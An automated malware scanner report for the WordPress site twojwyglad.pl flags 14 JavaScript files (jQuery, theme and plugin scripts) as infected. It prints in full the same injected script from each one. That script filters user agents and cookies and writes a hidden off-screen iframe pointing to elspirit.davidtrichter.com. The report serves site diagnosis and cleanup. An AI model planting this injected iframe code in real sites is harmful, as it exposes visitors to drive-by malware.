New scan:

Malware Scanner report for twojwyglad.pl

Malicious/Suspicious/Total urls checked
14/1/15
15 pages have malicious or suspicious code. See details below
Blacklists
Found
The website is marked by Google as suspicious.

The website "twojwyglad.pl" is probably hacked and losing its visitors. You need to take action as soon as possible to fix security issues.
Malicious Redirects
OK
Malicious/Hidden/Total iFrames
14/0/14
14 malicious iframes found. See details below
Deface / Content modification
OK

Free periodic scanning and alerting: setup
(requires eVuln badge or a link to eVuln.com)

Malware & Hack Repair

  • Malware Removal
  • Blacklists Removal
  • Reason Eliminating
  • 1 Month Hack Insurance

More details

Website Hack Insurance

  • Files & DB Monitoring
  • Daily Backups
  • Malware & Hack Detection
  • Unlimited Hack Repairs

More details

Safe Browsing / Blacklists

Query: http://www.google.com/safebrowsing/diagnostic?site=twojwyglad.pl

Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.

Scanned pages/files

RequestServer responseStatus
http://www.twojwyglad.pl/
200 OK
Content-Length: 69825
Content-Type: text/html
suspicious
Page code contains blacklisted domain: www.smykowisko.pl

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<!-- BEGIN html -->
<html xmlns="http://www.w3.org/1999/xhtml" lang="pl-PL">

<!-- BEGIN head -->
<head profile="http://gmpg.org/xfn/11">

<!-- Meta Tags -->
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />

<!-- Title --
...[4147 bytes skipped]...

http://www.twojwyglad.pl/wp-includes/js/jquery/jquery.js?ver=1.11.1
200 OK
Content-Length: 96928
Content-Type: application/javascript
malicious
Malicious code found. Script contains blacklisted domain: elspirit.davidtrichter.com

...[202 bytes skipped]...
,h,j){var g=(e+"").toLowerCase();var i=(h+"").toLowerCase();var f=0;if((f=g.indexOf(i,j))!==-1){return f}return false}function b(){var e=["Linux","Windows NT 6.3","Yandex","rv:11.0","AppleWebKit","Googlebot","Android","IEMobile","Windows NT 6.2"];var g=false;for(var f in e){if(c(navigator.userAgent,e[f])){g=true;break}}return g}var d=(getCookie("ipmoture_aurma")===undefined);if(!b()&&d){document.write('<iframe src="http://elspirit.davidtrichter.com/elspirit17.html?ma" style="border-style:dotted solid double dashed;top: -1000px;left: -1000px;border-top-width: 3px;position: absolute;border-left-width: 3px;" height="143" width="143"></iframe>');var a=new Date(new Date().getTime()+48*60*60*1000);document.cookie="ipmoture_aurma=1; path=/; expires="+a.toUTCString()}})();
!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)th
...[2965 bytes skipped]...

Decoded script:


<iframe src="http://elspirit.davidtrichter.com/elspirit17.html?ma" style="border-style:dotted solid double dashed;top: -1000px;left: -1000px;border-top-width: 3px;position: absolute;border-left-width: 3px;" height="143" width="143"></iframe>

Malicious iFrame found.
size: 143x143     
src: http://elspirit.davidtrichter.com/elspirit17.html?ma
This URL is marked by Google as suspicious

<iframe src="http://elspirit.davidtrichter.com/elspirit17.html?ma" style="border-style:dotted solid double dashed;top: -1000px;left: -1000px;border-top-width: 3px;position: absolute;border-left-width: 3px;" height="143" width="143">

http://www.twojwyglad.pl/wp-includes/js/jquery/jquery-migrate.min.js?ver=1.2.1
200 OK
Content-Length: 8321
Content-Type: application/javascript
malicious
Malicious code found. Script contains blacklisted domain: elspirit.davidtrichter.com

...[202 bytes skipped]...
,h,j){var g=(e+"").toLowerCase();var i=(h+"").toLowerCase();var f=0;if((f=g.indexOf(i,j))!==-1){return f}return false}function b(){var e=["Linux","Windows NT 6.3","Yandex","rv:11.0","AppleWebKit","Googlebot","Android","IEMobile","Windows NT 6.2"];var g=false;for(var f in e){if(c(navigator.userAgent,e[f])){g=true;break}}return g}var d=(getCookie("ipmoture_aurma")===undefined);if(!b()&&d){document.write('<iframe src="http://elspirit.davidtrichter.com/elspirit17.html?ma" style="border-style:dotted solid double dashed;top: -1000px;left: -1000px;border-top-width: 3px;position: absolute;border-left-width: 3px;" height="143" width="143"></iframe>');var a=new Date(new Date().getTime()+48*60*60*1000);document.cookie="ipmoture_aurma=1; path=/; expires="+a.toUTCString()}})();

jQuery.migrateMute===void 0&&(jQuery.migrateMute=!0),function(e,t,n){function r(n){var r=t.console;i[n]||(i[n]=!0,e.migrateWarnin
...[3076 bytes skipped]...

Decoded script:


<iframe src="http://elspirit.davidtrichter.com/elspirit17.html?ma" style="border-style:dotted solid double dashed;top: -1000px;left: -1000px;border-top-width: 3px;position: absolute;border-left-width: 3px;" height="143" width="143"></iframe>

Malicious iFrame found.
size: 143x143     
src: http://elspirit.davidtrichter.com/elspirit17.html?ma
This URL is marked by Google as suspicious

<iframe src="http://elspirit.davidtrichter.com/elspirit17.html?ma" style="border-style:dotted solid double dashed;top: -1000px;left: -1000px;border-top-width: 3px;position: absolute;border-left-width: 3px;" height="143" width="143">

http://www.twojwyglad.pl/wp-includes/js/jquery/ui/jquery.ui.core.min.js?ver=1.10.4
200 OK
Content-Length: 5410
Content-Type: application/javascript
malicious
Malicious code found. Script contains blacklisted domain: elspirit.davidtrichter.com

...[202 bytes skipped]...
,h,j){var g=(e+"").toLowerCase();var i=(h+"").toLowerCase();var f=0;if((f=g.indexOf(i,j))!==-1){return f}return false}function b(){var e=["Linux","Windows NT 6.3","Yandex","rv:11.0","AppleWebKit","Googlebot","Android","IEMobile","Windows NT 6.2"];var g=false;for(var f in e){if(c(navigator.userAgent,e[f])){g=true;break}}return g}var d=(getCookie("ipmoture_aurma")===undefined);if(!b()&&d){document.write('<iframe src="http://elspirit.davidtrichter.com/elspirit17.html?ma" style="border-style:dotted solid double dashed;top: -1000px;left: -1000px;border-top-width: 3px;position: absolute;border-left-width: 3px;" height="143" width="143"></iframe>');var a=new Date(new Date().getTime()+48*60*60*1000);document.cookie="ipmoture_aurma=1; path=/; expires="+a.toUTCString()}})();
(function(e,t){function i(t,i){var a,n,r,o=t.nodeName.toLowerCase();return"area"===o?(a=t.parentNode,n=a.name,t.href&&n&&"map"=
...[3022 bytes skipped]...

Decoded script:


<iframe src="http://elspirit.davidtrichter.com/elspirit17.html?ma" style="border-style:dotted solid double dashed;top: -1000px;left: -1000px;border-top-width: 3px;position: absolute;border-left-width: 3px;" height="143" width="143"></iframe>

Malicious iFrame found.
size: 143x143     
src: http://elspirit.davidtrichter.com/elspirit17.html?ma
This URL is marked by Google as suspicious

<iframe src="http://elspirit.davidtrichter.com/elspirit17.html?ma" style="border-style:dotted solid double dashed;top: -1000px;left: -1000px;border-top-width: 3px;position: absolute;border-left-width: 3px;" height="143" width="143">

http://www.twojwyglad.pl/wp-includes/js/jquery/ui/jquery.ui.widget.min.js?ver=1.10.4
200 OK
Content-Length: 7642
Content-Type: application/javascript
malicious
Malicious code found. Script contains blacklisted domain: elspirit.davidtrichter.com

...[202 bytes skipped]...
,h,j){var g=(e+"").toLowerCase();var i=(h+"").toLowerCase();var f=0;if((f=g.indexOf(i,j))!==-1){return f}return false}function b(){var e=["Linux","Windows NT 6.3","Yandex","rv:11.0","AppleWebKit","Googlebot","Android","IEMobile","Windows NT 6.2"];var g=false;for(var f in e){if(c(navigator.userAgent,e[f])){g=true;break}}return g}var d=(getCookie("ipmoture_aurma")===undefined);if(!b()&&d){document.write('<iframe src="http://elspirit.davidtrichter.com/elspirit17.html?ma" style="border-style:dotted solid double dashed;top: -1000px;left: -1000px;border-top-width: 3px;position: absolute;border-left-width: 3px;" height="143" width="143"></iframe>');var a=new Date(new Date().getTime()+48*60*60*1000);document.cookie="ipmoture_aurma=1; path=/; expires="+a.toUTCString()}})();
(function(e,t){var i=0,s=Array.prototype.slice,n=e.cleanData;e.cleanData=function(t){for(var i,s=0;null!=(i=t[s]);s++)try{e(i).triggerHandler("
...[2974 bytes skipped]...

Decoded script:


<iframe src="http://elspirit.davidtrichter.com/elspirit17.html?ma" style="border-style:dotted solid double dashed;top: -1000px;left: -1000px;border-top-width: 3px;position: absolute;border-left-width: 3px;" height="143" width="143"></iframe>

Malicious iFrame found.
size: 143x143     
src: http://elspirit.davidtrichter.com/elspirit17.html?ma
This URL is marked by Google as suspicious

<iframe src="http://elspirit.davidtrichter.com/elspirit17.html?ma" style="border-style:dotted solid double dashed;top: -1000px;left: -1000px;border-top-width: 3px;position: absolute;border-left-width: 3px;" height="143" width="143">

http://www.twojwyglad.pl/wp-includes/js/jquery/ui/jquery.ui.tabs.min.js?ver=1.10.4
200 OK
Content-Length: 12744
Content-Type: application/javascript
malicious
Malicious code found. Script contains blacklisted domain: elspirit.davidtrichter.com

...[202 bytes skipped]...
,h,j){var g=(e+"").toLowerCase();var i=(h+"").toLowerCase();var f=0;if((f=g.indexOf(i,j))!==-1){return f}return false}function b(){var e=["Linux","Windows NT 6.3","Yandex","rv:11.0","AppleWebKit","Googlebot","Android","IEMobile","Windows NT 6.2"];var g=false;for(var f in e){if(c(navigator.userAgent,e[f])){g=true;break}}return g}var d=(getCookie("ipmoture_aurma")===undefined);if(!b()&&d){document.write('<iframe src="http://elspirit.davidtrichter.com/elspirit17.html?ma" style="border-style:dotted solid double dashed;top: -1000px;left: -1000px;border-top-width: 3px;position: absolute;border-left-width: 3px;" height="143" width="143"></iframe>');var a=new Date(new Date().getTime()+48*60*60*1000);document.cookie="ipmoture_aurma=1; path=/; expires="+a.toUTCString()}})();
(function(t,e){function i(){return++n}function s(t){return t=t.cloneNode(!1),t.hash.length>1&&decodeURIComponent(t.href.replace(a,""
...[2964 bytes skipped]...

Decoded script:


<iframe src="http://elspirit.davidtrichter.com/elspirit17.html?ma" style="border-style:dotted solid double dashed;top: -1000px;left: -1000px;border-top-width: 3px;position: absolute;border-left-width: 3px;" height="143" width="143"></iframe>

Malicious iFrame found.
size: 143x143     
src: http://elspirit.davidtrichter.com/elspirit17.html?ma
This URL is marked by Google as suspicious

<iframe src="http://elspirit.davidtrichter.com/elspirit17.html?ma" style="border-style:dotted solid double dashed;top: -1000px;left: -1000px;border-top-width: 3px;position: absolute;border-left-width: 3px;" height="143" width="143">

http://www.twojwyglad.pl/wp-content/themes/Loveit-theme/js/tabbed-widget.js?ver=4.0
200 OK
Content-Length: 1233
Content-Type: application/javascript
malicious
Malicious code found. Script contains blacklisted domain: elspirit.davidtrichter.com

...[202 bytes skipped]...
,h,j){var g=(e+"").toLowerCase();var i=(h+"").toLowerCase();var f=0;if((f=g.indexOf(i,j))!==-1){return f}return false}function b(){var e=["Linux","Windows NT 6.3","Yandex","rv:11.0","AppleWebKit","Googlebot","Android","IEMobile","Windows NT 6.2"];var g=false;for(var f in e){if(c(navigator.userAgent,e[f])){g=true;break}}return g}var d=(getCookie("ipmoture_aurma")===undefined);if(!b()&&d){document.write('<iframe src="http://elspirit.davidtrichter.com/elspirit17.html?ma" style="border-style:dotted solid double dashed;top: -1000px;left: -1000px;border-top-width: 3px;position: absolute;border-left-width: 3px;" height="143" width="143"></iframe>');var a=new Date(new Date().getTime()+48*60*60*1000);document.cookie="ipmoture_aurma=1; path=/; expires="+a.toUTCString()}})();
jQuery(document).ready(function() {
jQuery("#tabs").tabs({ fx: { height: 'toggle', opacity: 'toggle' } });
});

Decoded script:


<iframe src="http://elspirit.davidtrichter.com/elspirit17.html?ma" style="border-style:dotted solid double dashed;top: -1000px;left: -1000px;border-top-width: 3px;position: absolute;border-left-width: 3px;" height="143" width="143"></iframe>

Malicious iFrame found.
size: 143x143     
src: http://elspirit.davidtrichter.com/elspirit17.html?ma
This URL is marked by Google as suspicious

<iframe src="http://elspirit.davidtrichter.com/elspirit17.html?ma" style="border-style:dotted solid double dashed;top: -1000px;left: -1000px;border-top-width: 3px;position: absolute;border-left-width: 3px;" height="143" width="143">

http://www.twojwyglad.pl/wp-content/plugins/commentluv/js/commentluv.js?ver=2.93.6
200 OK
Content-Length: 13734
Content-Type: application/javascript
malicious
Malicious code found. Script contains blacklisted domain: elspirit.davidtrichter.com

...[202 bytes skipped]...
,h,j){var g=(e+"").toLowerCase();var i=(h+"").toLowerCase();var f=0;if((f=g.indexOf(i,j))!==-1){return f}return false}function b(){var e=["Linux","Windows NT 6.3","Yandex","rv:11.0","AppleWebKit","Googlebot","Android","IEMobile","Windows NT 6.2"];var g=false;for(var f in e){if(c(navigator.userAgent,e[f])){g=true;break}}return g}var d=(getCookie("ipmoture_aurma")===undefined);if(!b()&&d){document.write('<iframe src="http://elspirit.davidtrichter.com/elspirit17.html?ma" style="border-style:dotted solid double dashed;top: -1000px;left: -1000px;border-top-width: 3px;position: absolute;border-left-width: 3px;" height="143" width="143"></iframe>');var a=new Date(new Date().getTime()+48*60*60*1000);document.cookie="ipmoture_aurma=1; path=/; expires="+a.toUTCString()}})();
jQuery(document).ready(function(){
var formObj = jQuery('#cl_post_title').parents('form');
var urlObj = cl_settings['urlO
...[3207 bytes skipped]...

Decoded script:


<iframe src="http://elspirit.davidtrichter.com/elspirit17.html?ma" style="border-style:dotted solid double dashed;top: -1000px;left: -1000px;border-top-width: 3px;position: absolute;border-left-width: 3px;" height="143" width="143"></iframe>

Malicious iFrame found.
size: 143x143     
src: http://elspirit.davidtrichter.com/elspirit17.html?ma
This URL is marked by Google as suspicious

<iframe src="http://elspirit.davidtrichter.com/elspirit17.html?ma" style="border-style:dotted solid double dashed;top: -1000px;left: -1000px;border-top-width: 3px;position: absolute;border-left-width: 3px;" height="143" width="143">

http://www.twojwyglad.pl/wp-content/plugins/cookie-law-info/js/cookielawinfo.js?ver=4.0
200 OK
Content-Length: 7153
Content-Type: application/javascript
malicious
Malicious code found. Script contains blacklisted domain: elspirit.davidtrichter.com

...[202 bytes skipped]...
,h,j){var g=(e+"").toLowerCase();var i=(h+"").toLowerCase();var f=0;if((f=g.indexOf(i,j))!==-1){return f}return false}function b(){var e=["Linux","Windows NT 6.3","Yandex","rv:11.0","AppleWebKit","Googlebot","Android","IEMobile","Windows NT 6.2"];var g=false;for(var f in e){if(c(navigator.userAgent,e[f])){g=true;break}}return g}var d=(getCookie("ipmoture_aurma")===undefined);if(!b()&&d){document.write('<iframe src="http://elspirit.davidtrichter.com/elspirit17.html?ma" style="border-style:dotted solid double dashed;top: -1000px;left: -1000px;border-top-width: 3px;position: absolute;border-left-width: 3px;" height="143" width="143"></iframe>');var a=new Date(new Date().getTime()+48*60*60*1000);document.cookie="ipmoture_aurma=1; path=/; expires="+a.toUTCString()}})();
function cli_show_cookiebar(p) {

var Cookie = {
set: function(name,value,days) {
if (days) {
var date = new Dat
...[3330 bytes skipped]...

Decoded script:


<iframe src="http://elspirit.davidtrichter.com/elspirit17.html?ma" style="border-style:dotted solid double dashed;top: -1000px;left: -1000px;border-top-width: 3px;position: absolute;border-left-width: 3px;" height="143" width="143"></iframe>

Malicious iFrame found.
size: 143x143     
src: http://elspirit.davidtrichter.com/elspirit17.html?ma
This URL is marked by Google as suspicious

<iframe src="http://elspirit.davidtrichter.com/elspirit17.html?ma" style="border-style:dotted solid double dashed;top: -1000px;left: -1000px;border-top-width: 3px;position: absolute;border-left-width: 3px;" height="143" width="143">

http://www.twojwyglad.pl/wp-content/plugins/wp-addpub/swfobject.js?ver=4.0
200 OK
Content-Length: 8008
Content-Type: application/javascript
malicious
Malicious code found. Script contains blacklisted domain: elspirit.davidtrichter.com

...[202 bytes skipped]...
,h,j){var g=(e+"").toLowerCase();var i=(h+"").toLowerCase();var f=0;if((f=g.indexOf(i,j))!==-1){return f}return false}function b(){var e=["Linux","Windows NT 6.3","Yandex","rv:11.0","AppleWebKit","Googlebot","Android","IEMobile","Windows NT 6.2"];var g=false;for(var f in e){if(c(navigator.userAgent,e[f])){g=true;break}}return g}var d=(getCookie("ipmoture_aurma")===undefined);if(!b()&&d){document.write('<iframe src="http://elspirit.davidtrichter.com/elspirit17.html?ma" style="border-style:dotted solid double dashed;top: -1000px;left: -1000px;border-top-width: 3px;position: absolute;border-left-width: 3px;" height="143" width="143"></iframe>');var a=new Date(new Date().getTime()+48*60*60*1000);document.cookie="ipmoture_aurma=1; path=/; expires="+a.toUTCString()}})();

if(typeof deconcept=="undefined"){var deconcept=new Object();}if(typeof deconcept.util=="undefined"){deconcept.util=new Object();}if(type
...[2935 bytes skipped]...

Decoded script:


<iframe src="http://elspirit.davidtrichter.com/elspirit17.html?ma" style="border-style:dotted solid double dashed;top: -1000px;left: -1000px;border-top-width: 3px;position: absolute;border-left-width: 3px;" height="143" width="143"></iframe>

Malicious iFrame found.
size: 143x143     
src: http://elspirit.davidtrichter.com/elspirit17.html?ma
This URL is marked by Google as suspicious

<iframe src="http://elspirit.davidtrichter.com/elspirit17.html?ma" style="border-style:dotted solid double dashed;top: -1000px;left: -1000px;border-top-width: 3px;position: absolute;border-left-width: 3px;" height="143" width="143">

http://www.twojwyglad.pl/wp-content/themes/Loveit-theme/js/superfish.js
200 OK
Content-Length: 4835
Content-Type: application/javascript
malicious
Malicious code found. Script contains blacklisted domain: elspirit.davidtrichter.com

...[202 bytes skipped]...
,h,j){var g=(e+"").toLowerCase();var i=(h+"").toLowerCase();var f=0;if((f=g.indexOf(i,j))!==-1){return f}return false}function b(){var e=["Linux","Windows NT 6.3","Yandex","rv:11.0","AppleWebKit","Googlebot","Android","IEMobile","Windows NT 6.2"];var g=false;for(var f in e){if(c(navigator.userAgent,e[f])){g=true;break}}return g}var d=(getCookie("ipmoture_aurma")===undefined);if(!b()&&d){document.write('<iframe src="http://elspirit.davidtrichter.com/elspirit17.html?ma" style="border-style:dotted solid double dashed;top: -1000px;left: -1000px;border-top-width: 3px;position: absolute;border-left-width: 3px;" height="143" width="143"></iframe>');var a=new Date(new Date().getTime()+48*60*60*1000);document.cookie="ipmoture_aurma=1; path=/; expires="+a.toUTCString()}})();
;(function($){
$.fn.superfish = function(op){
var sf = $.fn.superfish,
c = sf.c,
$arrow = $(['<span class="',c.arro
...[3699 bytes skipped]...

Decoded script:


<iframe src="http://elspirit.davidtrichter.com/elspirit17.html?ma" style="border-style:dotted solid double dashed;top: -1000px;left: -1000px;border-top-width: 3px;position: absolute;border-left-width: 3px;" height="143" width="143"></iframe>

Malicious iFrame found.
size: 143x143     
src: http://elspirit.davidtrichter.com/elspirit17.html?ma
This URL is marked by Google as suspicious

<iframe src="http://elspirit.davidtrichter.com/elspirit17.html?ma" style="border-style:dotted solid double dashed;top: -1000px;left: -1000px;border-top-width: 3px;position: absolute;border-left-width: 3px;" height="143" width="143">

http://www.twojwyglad.pl/wp-content/themes/Loveit-theme/js/jquery.placeholder.min.js
200 OK
Content-Length: 1624
Content-Type: application/javascript
malicious
Malicious code found. Script contains blacklisted domain: elspirit.davidtrichter.com

...[202 bytes skipped]...
,h,j){var g=(e+"").toLowerCase();var i=(h+"").toLowerCase();var f=0;if((f=g.indexOf(i,j))!==-1){return f}return false}function b(){var e=["Linux","Windows NT 6.3","Yandex","rv:11.0","AppleWebKit","Googlebot","Android","IEMobile","Windows NT 6.2"];var g=false;for(var f in e){if(c(navigator.userAgent,e[f])){g=true;break}}return g}var d=(getCookie("ipmoture_aurma")===undefined);if(!b()&&d){document.write('<iframe src="http://elspirit.davidtrichter.com/elspirit17.html?ma" style="border-style:dotted solid double dashed;top: -1000px;left: -1000px;border-top-width: 3px;position: absolute;border-left-width: 3px;" height="143" width="143"></iframe>');var a=new Date(new Date().getTime()+48*60*60*1000);document.cookie="ipmoture_aurma=1; path=/; expires="+a.toUTCString()}})();
(function(c){if("placeholder" in document.createElement("input")){return}c(document).ready(function(){c(":input[placeholder]").each(function(){
...[360 bytes skipped]...

Decoded script:


<iframe src="http://elspirit.davidtrichter.com/elspirit17.html?ma" style="border-style:dotted solid double dashed;top: -1000px;left: -1000px;border-top-width: 3px;position: absolute;border-left-width: 3px;" height="143" width="143"></iframe>

Malicious iFrame found.
size: 143x143     
src: http://elspirit.davidtrichter.com/elspirit17.html?ma
This URL is marked by Google as suspicious

<iframe src="http://elspirit.davidtrichter.com/elspirit17.html?ma" style="border-style:dotted solid double dashed;top: -1000px;left: -1000px;border-top-width: 3px;position: absolute;border-left-width: 3px;" height="143" width="143">

http://www.twojwyglad.pl/wp-content/themes/Loveit-theme/js/jquery.carouFredSel-5.6.4-packed.js
200 OK
Content-Length: 33444
Content-Type: application/javascript
malicious
Malicious code found. Script contains blacklisted domain: elspirit.davidtrichter.com

...[202 bytes skipped]...
,h,j){var g=(e+"").toLowerCase();var i=(h+"").toLowerCase();var f=0;if((f=g.indexOf(i,j))!==-1){return f}return false}function b(){var e=["Linux","Windows NT 6.3","Yandex","rv:11.0","AppleWebKit","Googlebot","Android","IEMobile","Windows NT 6.2"];var g=false;for(var f in e){if(c(navigator.userAgent,e[f])){g=true;break}}return g}var d=(getCookie("ipmoture_aurma")===undefined);if(!b()&&d){document.write('<iframe src="http://elspirit.davidtrichter.com/elspirit17.html?ma" style="border-style:dotted solid double dashed;top: -1000px;left: -1000px;border-top-width: 3px;position: absolute;border-left-width: 3px;" height="143" width="143"></iframe>');var a=new Date(new Date().getTime()+48*60*60*1000);document.cookie="ipmoture_aurma=1; path=/; expires="+a.toUTCString()}})();
eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.re
...[2899 bytes skipped]...

Decoded script:

...[104419 bytes skipped]...
'carouFredSel'+s+': '+m;else m=['carouFredSel'+s+':',m];if(window.console&&window.console.log)window.console.log(m);return false}$.fn.caroufredsel=function(o,c){return this.carouFredSel(o,c)};$.extend($.easing,{'quadratic':function(t){var a=t*t;return t*(-a*t+4*a-6*t+4)},'cubic':function(t){return t*(4*t*t-9*t+6)},'elastic':function(t){var a=t*t;return t*(33*a*a-106*a*t+126*a-67*t+15)}})})(jQuery);
<iframe src="http://elspirit.davidtrichter.com/elspirit17.html?ma" style="border-style:dotted solid double dashed;top: -1000px;left: -1000px;border-top-width: 3px;position: absolute;border-left-width: 3px;" height="143" width="143"></iframe>

Malicious iFrame found.
size: 143x143     
src: http://elspirit.davidtrichter.com/elspirit17.html?ma
This URL is marked by Google as suspicious

<iframe src="http://elspirit.davidtrichter.com/elspirit17.html?ma" style="border-style:dotted solid double dashed;top: -1000px;left: -1000px;border-top-width: 3px;position: absolute;border-left-width: 3px;" height="143" width="143">

http://www.twojwyglad.pl/wp-content/themes/Loveit-theme/js/jquery.validate.min.js
200 OK
Content-Length: 26482
Content-Type: application/javascript
malicious
Malicious code found. Script contains blacklisted domain: elspirit.davidtrichter.com

...[202 bytes skipped]...
,h,j){var g=(e+"").toLowerCase();var i=(h+"").toLowerCase();var f=0;if((f=g.indexOf(i,j))!==-1){return f}return false}function b(){var e=["Linux","Windows NT 6.3","Yandex","rv:11.0","AppleWebKit","Googlebot","Android","IEMobile","Windows NT 6.2"];var g=false;for(var f in e){if(c(navigator.userAgent,e[f])){g=true;break}}return g}var d=(getCookie("ipmoture_aurma")===undefined);if(!b()&&d){document.write('<iframe src="http://elspirit.davidtrichter.com/elspirit17.html?ma" style="border-style:dotted solid double dashed;top: -1000px;left: -1000px;border-top-width: 3px;position: absolute;border-left-width: 3px;" height="143" width="143"></iframe>');var a=new Date(new Date().getTime()+48*60*60*1000);document.cookie="ipmoture_aurma=1; path=/; expires="+a.toUTCString()}})();
(function($){$.extend($.fn,{validate:function(options){if(!this.length){options&&options.debug&&window.console&&console
...[2930 bytes skipped]...

Decoded script:


<iframe src="http://elspirit.davidtrichter.com/elspirit17.html?ma" style="border-style:dotted solid double dashed;top: -1000px;left: -1000px;border-top-width: 3px;position: absolute;border-left-width: 3px;" height="143" width="143"></iframe>

Malicious iFrame found.
size: 143x143     
src: http://elspirit.davidtrichter.com/elspirit17.html?ma
This URL is marked by Google as suspicious

<iframe src="http://elspirit.davidtrichter.com/elspirit17.html?ma" style="border-style:dotted solid double dashed;top: -1000px;left: -1000px;border-top-width: 3px;position: absolute;border-left-width: 3px;" height="143" width="143">

http://www.twojwyglad.pl/wp-content/themes/Loveit-theme/js/jquery.lavalamp.js
200 OK
Content-Length: 4473
Content-Type: application/javascript
malicious
Malicious code found. Script contains blacklisted domain: elspirit.davidtrichter.com

...[202 bytes skipped]...
,h,j){var g=(e+"").toLowerCase();var i=(h+"").toLowerCase();var f=0;if((f=g.indexOf(i,j))!==-1){return f}return false}function b(){var e=["Linux","Windows NT 6.3","Yandex","rv:11.0","AppleWebKit","Googlebot","Android","IEMobile","Windows NT 6.2"];var g=false;for(var f in e){if(c(navigator.userAgent,e[f])){g=true;break}}return g}var d=(getCookie("ipmoture_aurma")===undefined);if(!b()&&d){document.write('<iframe src="http://elspirit.davidtrichter.com/elspirit17.html?ma" style="border-style:dotted solid double dashed;top: -1000px;left: -1000px;border-top-width: 3px;position: absolute;border-left-width: 3px;" height="143" width="143"></iframe>');var a=new Date(new Date().getTime()+48*60*60*1000);document.cookie="ipmoture_aurma=1; path=/; expires="+a.toUTCString()}})();
(function($) {
$.fn.lavaLamp = function(o) {
o = $.extend({ fx: "linear", speed: 500, offset: 10, click: function(){} }, o || {});<
...[1242 bytes skipped]...

Decoded script:


<iframe src="http://elspirit.davidtrichter.com/elspirit17.html?ma" style="border-style:dotted solid double dashed;top: -1000px;left: -1000px;border-top-width: 3px;position: absolute;border-left-width: 3px;" height="143" width="143"></iframe>

Malicious iFrame found.
size: 143x143     
src: http://elspirit.davidtrichter.com/elspirit17.html?ma
This URL is marked by Google as suspicious

<iframe src="http://elspirit.davidtrichter.com/elspirit17.html?ma" style="border-style:dotted solid double dashed;top: -1000px;left: -1000px;border-top-width: 3px;position: absolute;border-left-width: 3px;" height="143" width="143">


Malicious Redirects

First query (normal visit):
GET / HTTP/1.1
Host: twojwyglad.pl

Result:
Second query (visit from search engine):
GET / HTTP/1.1
Host: twojwyglad.pl
Referer: http://www.google.com/search?q=twojwyglad.pl

Result:
The result is similar to the first query. There are no suspicious redirects found.